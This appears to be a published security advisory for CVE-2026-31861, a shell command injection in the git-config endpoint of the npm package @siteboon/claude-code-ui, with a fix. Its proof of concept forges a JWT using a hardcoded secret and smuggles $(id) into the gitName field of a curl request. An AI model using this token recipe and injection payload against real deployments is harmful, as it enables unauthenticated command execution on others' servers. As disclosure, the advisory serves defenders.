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Open-source package vulnerability · npm

CVE-2026-31861: @siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes

highCVSS 4.0 8.7GHSA-7fv4-fmmc-86g2

Shell Command Injection in User Git Config Endpoint Field Value -------------- Severity High CVSS 3.1 8.8 (High) — when chained with VULN-01 CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Attack Vector Network Authentication JWT required (bypassable via VULN-01) Affected Files server/routes/user.js (lines 58-59) Description The /api/user/git-config endpoint…

Published Mar 10, 2026 · Updated Mar 11, 2026

Affected packages

@siteboon/claude-code-ui

Ecosystem
npm
Affected
<= 1.23.0
Fixed in
1.24.0
Check
npm ls @siteboon/claude-code-ui

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Shell Command Injection in User Git Config Endpoint

| Field | Value |
| **Severity** | High |
| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |
| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| **Attack Vector** | Network |
| **Authentication** | JWT required (bypassable via VULN-01) |
| **Affected Files** | `server/routes/user.js` (lines 58-59) |

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (` `), $() command substitution, and \` sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

  • ` malicious_command ` — backtick execution
  • $(malicious_command) — subshell execution

Impact

  • Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
  • The git config --global vector modifies the server-wide git configuration, affecting all git operations
  • When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
  • Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"[email protected]"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);

Credited to Akokonunes, neo-ai-engineer, toufik-airane.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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